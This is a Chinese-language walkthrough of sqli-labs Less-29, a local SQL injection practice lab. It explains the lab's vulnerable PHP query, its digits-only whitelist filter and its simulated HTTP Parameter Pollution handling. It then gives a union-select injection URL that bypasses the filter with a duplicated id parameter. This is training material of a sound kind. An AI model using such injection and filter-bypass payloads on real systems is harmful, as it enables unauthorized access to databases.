查看源码SQL如下
$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
尝试进行注入
http://127.0.0.1/sql/Less-29/login.php?id=-1‘ union select 1,database(),3--+
系统检测到有问题,跳转到其他的页面了。
查看源码
首先,有一个whitelist()方法,确保输入变量为数字,如果输入变量中包含非数字的字符,跳转到hacked.php
//WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match = preg_match("/^\d+$/", $input); //这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串。 if($match) { //echo "you are good"; //return $match; } else { header(‘Location: hacked.php‘); //echo "you are bad"; } }
然后,我们发现$input就是$id1,$id1来自于java_implimentation($qs)
$qs = $_SERVER[‘QUERY_STRING‘]; //获取查询语句,获取的是URL中?后面的值 $id1=java_implimentation($qs); $id=$_GET[‘id‘]; whitelist($id1);
接着,查看java_implimentation()方法,发现这个方法是用来模拟HPP的,意思就是说这个方法存在HPP漏洞我们可以利用。
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). //当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。 function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); //根据&分割字符串并打散为数组 foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } }
因此根据HPP的原理,我们可以构造payload:
http://127.0.0.1/sql/Less-29/login.php?id=1&id=-1‘ union select 1,database(),3--+